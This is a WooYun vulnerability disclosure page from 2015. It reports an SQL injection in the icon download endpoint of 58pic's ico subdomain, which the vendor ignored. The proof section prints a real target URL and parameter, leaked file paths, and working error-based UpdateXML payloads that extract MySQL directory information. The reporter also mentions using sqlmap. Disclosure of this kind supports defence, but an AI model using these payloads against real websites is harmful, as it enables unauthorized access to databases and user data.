当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093568

漏洞标题:千图网ico分站下载处注入

相关厂商:千图网

漏洞作者: XXXQQ

提交时间:2015-01-25 18:01

修复时间:2015-01-30 18:02

公开时间:2015-01-30 18:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-25: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

下载地址存在注入,虽然waf过滤的不错

详细说明:

注入地址:http://ico.58pic.com/ajax/download?format=ico&id=43511
我比较蠢搞了快两个周了才出来,他的这个waf到现在我还没完全绕过,希望有bypass方面研究深入的同学可以请教一下
直接打开http://ico.58pic.com/ajax/download?format=ico&id=43511可以下载一个图标文件,如果测试不正常就回报错,加单引号,查询语句和绝对路径都暴出来了,继续可以查到数据库安装路径系统类型等所有信息,这就比较好下手了
最后是sqlmap跑出来的,花了好长时间.....

A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''43511''' at line 1
select id,packid,iconid,image,size from icon_info where iconid='43511''
Filename: /usr/local/data/www/58pic_ico/models/icon_model.php
Line Number: 63


2.png


3.png


5.png


6.png

漏洞证明:

A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''43511''' at line 1
select id,packid,iconid,image,size from icon_info where iconid='43511''
Filename: /usr/local/data/www/58pic_ico/models/icon_model.php
Line Number: 63


A Database Error Occurred
Error Number: 1105
XPATH syntax error: '[/u01/mysql_20141008]'
select id,packid,iconid,image,size from icon_info where iconid='43511' and UpdateXML(1,CONCAT(0x5b,mid((SELECT @@basedir),1,32),0x5d),1)#'
Filename: /usr/local/data/www/58pic_ico/models/icon_model.php
Line Number: 63


A Database Error Occurred
Error Number: 1105
XPATH syntax error: '[/home/mysql/data3014/dbs3014/]'
select id,packid,iconid,image,size from icon_info where iconid='43511' and UpdateXML(1,CONCAT(0x5b,mid((SELECT @@datadir),1,32),0x5d),1)#'
Filename: /usr/local/data/www/58pic_ico/models/icon_model.php
Line Number: 63

修复方案:

请自行检查修复

版权声明:转载请注明来源 XXXQQ@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-30 18:02

厂商回复:

最新状态:

暂无


漏洞评价:

评论